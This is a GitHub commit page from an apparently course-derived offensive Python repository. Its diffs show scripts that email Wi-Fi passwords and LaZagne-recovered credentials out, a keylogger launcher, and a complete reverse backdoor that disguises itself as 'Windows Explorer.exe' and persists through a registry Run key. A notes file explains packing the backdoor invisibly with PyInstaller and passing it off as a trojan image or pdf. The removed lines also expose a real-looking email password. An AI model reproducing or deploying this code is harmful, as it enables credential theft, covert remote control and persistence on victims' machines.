Skip to content
This repository was archived by the owner on Aug 24, 2023. It is now read-only.

Commit a4bed5d

Browse files
author
root
committed
Updated
1 parent b033308 commit a4bed5d

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

43 files changed

+63031
-5
lines changed

11 execute_sys_cmd_report/execute_cmd_report.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -13,4 +13,4 @@ def send_mail(email,password,message):
1313

1414
command = "ifconfig"
1515
result = subprocess.check_output(command,shell=True)
16-
send_mail("pentesterpd@gmail.com","Asdfjkl;1",result)
16+
send_mail("mail@gmail.com","password",result)

11 execute_sys_cmd_report/reeport_windows_wifipassword_toemail.py renamed to 11 execute_sys_cmd_report/report_windows_wifipassword_toemail.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -23,4 +23,4 @@ def send_mail(email,password,message):
2323
result = result + current_result
2424

2525

26-
send_mail("pentesterpd@gmail.com","Asdfjkl;1",result)
26+
send_mail("mail@gmail.com","password",result)

13 recover_saved_passwd_on_target/download_lazagne_execute_report_toemail.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -27,5 +27,5 @@ def send_mail(email,password,message):
2727
os.chdir(temp_directory)
2828
download("http://localhost where lazagne .exe is stored")
2929
result = subprocess.check_output("lazagne.exe all",shell=True)
30-
send_mail("pentesterpd@gmail.com","Asdfjkl;1",result)
30+
send_mail("mail@gmail.com","password",result)
3131
os.remove("lazagne.exe")

14 keylogger/keylogger_4.pyc

-2.14 KB
Binary file not shown.

14 keylogger/zlogger.py

+1-1
Original file line numberDiff line numberDiff line change
@@ -2,5 +2,5 @@
22

33
import keylogger_4
44

5-
my_keylogger = keylogger_4.Keylogger(120,"pentesterpd@gmail.com","Asdfjkl;1")
5+
my_keylogger = keylogger_4.Keylogger(120,"mail@gmail.com","password")
66
my_keylogger.start()

15 listener_and_backdoor/reverse_backdoor.py

+2-1
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55
import json
66
import os
77
import base64
8+
import sys
89

910
class Backdoor:
1011

@@ -51,7 +52,7 @@ def run(self):
5152
try:
5253
if command[0] == "exit":
5354
self.connection.close()
54-
exit()
55+
sys.exit()
5556
elif command[0] == "cd" and len(command) > 1:
5657
command_result = self.change_working_directory_to(command[1])
5758
elif command[0] == "download":
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,81 @@
1+
#!/usr/bin/python
2+
3+
import socket
4+
import subprocess
5+
import json
6+
import os
7+
import base64
8+
import sys
9+
import shutil
10+
11+
class Backdoor:
12+
13+
def __init__(self,ip,port):
14+
self.become_persistent()
15+
self.connection=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
16+
self.connection.connect(("localhost",1234))
17+
def become_persistent(self):
18+
evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
19+
if not os.path.exists(evil_file_location):
20+
shutil.copyfile(sys.executable,evil_file_location)
21+
subprocess.call('reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v name /t REG_SZ /d "' + evil_file_location +'"',shell=True)
22+
23+
def reliable_send(self,data):
24+
json_data = json.dumps(data)
25+
self.connection.send(json_data)
26+
27+
28+
def reliable_receive(self):
29+
json_data = ""
30+
while True:
31+
try:
32+
json_data = json_data + self.connection.recv(1024)
33+
return json.loads(json_data)
34+
except ValueError:
35+
continue
36+
37+
38+
def execute_system_commmand(self,command):
39+
return subprocess.check_output(command,shell=True)
40+
41+
42+
def change_working_directory_to(self,path):
43+
os.chdir(path)
44+
return "[+] Change working directory to " + path
45+
46+
def write_file(self,path,content):
47+
with open(path,"wb") as file:
48+
file.write(base64.b64decode(content))
49+
return "[+] Upload Succesful"
50+
51+
def read_file(self,path):
52+
with open(path,"rb") as file:
53+
return base64.b64encode(file.read())
54+
55+
def run(self):
56+
while True:
57+
command = self.reliable_receive()
58+
59+
try:
60+
if command[0] == "exit":
61+
self.connection.close()
62+
exit()
63+
elif command[0] == "cd" and len(command) > 1:
64+
command_result = self.change_working_directory_to(command[1])
65+
elif command[0] == "download":
66+
command_result = self.read_file(command[1])
67+
elif command[0] == "upload":
68+
command_result = self.write_file(command[1],command[2])
69+
70+
else:
71+
command_result = self.execute_system_commmand(command)
72+
73+
except Exception:
74+
command_result = "[-] Error during command Execution"
75+
self.reliable_send(command_result)
76+
try:
77+
my_backdoor = Backdoor("localhost",1234)
78+
my_backdoor.run()
79+
80+
except Expection:
81+
sys.exit()

16 pyinstaller/pyinstaller.txt

+63
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,63 @@
1+
pyinstaller
2+
3+
install pyinstaller to convert and pack all python code into 1 executable for the targetted operating system
4+
5+
pip install pyinstaller
6+
#for linux
7+
8+
c:\python27\python.exe -m pip install pyinstaller
9+
or
10+
c:\python27\scripts\pip.exe install pyinstaller
11+
#for windows
12+
13+
create python exe on windows system
14+
15+
c:\python27\scripts\pyinstaller.exe backdoor.py --onefile
16+
#pack all lib and support file in --onefile
17+
#it will create a binary executable of backdoor it will execute when double click with a visible backgroung execution
18+
19+
c:\python27\scripts\pyinstaller.exe backdoor.py --onefile --noconsole
20+
21+
#to run invisible in background
22+
23+
edit the script littlebit to run in background to tell what to go with stdinput stdoutput stderror we already written stdoutput in our code its time to write stdin and stderr
24+
25+
#in python3
26+
subprocess.check_output(commmad,shell=True,stderr=subprocess.DEVNULL,stdin=subprocess.DEVNULL)
27+
28+
#in python
29+
DEVNULL = open(os.devnull,"wb")
30+
subprocess.check_output(commmad,shell=True,stderr=DEVNULL,stdin=DEVNULL)
31+
32+
To create a Python Executable it better to do that os environment
33+
that is to run a py executable in windows
34+
create the py exe in windows operating system with the required lib and modules is installed and then put the py exe in victim system to run
35+
36+
Use windows Python Interpreter in Linux
37+
wine is use to run windows software in linux
38+
39+
Install python exe in linux
40+
wine msiexec /i python-2.7.15.amd64.msi
41+
42+
Location of wine installation of python
43+
44+
~/.wine/drive_c/Python27/
45+
46+
pip install in windows interpreter of linux
47+
48+
~/.wine/drive_c/Python27/wine python.exe -m pip install pyinstaller
49+
50+
Maintain persistent by puting the script in startup when the os boot these scripts always gets loaded
51+
52+
in windows Registry
53+
Computer\HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
54+
55+
in cmd prompt we can change value
56+
reg add HKCV\Software\Microsoft\Windows\CurrentVersion\Run /v name /t REG_SZ /d "location of backdoor.exe"
57+
58+
Trojans
59+
60+
Trojans is a file that looks and function like a normal file like image,pdf,song
61+
62+
when the user clicks on it the image open on foreground and script run invisible in background
63+

0 commit comments

Comments
 (0)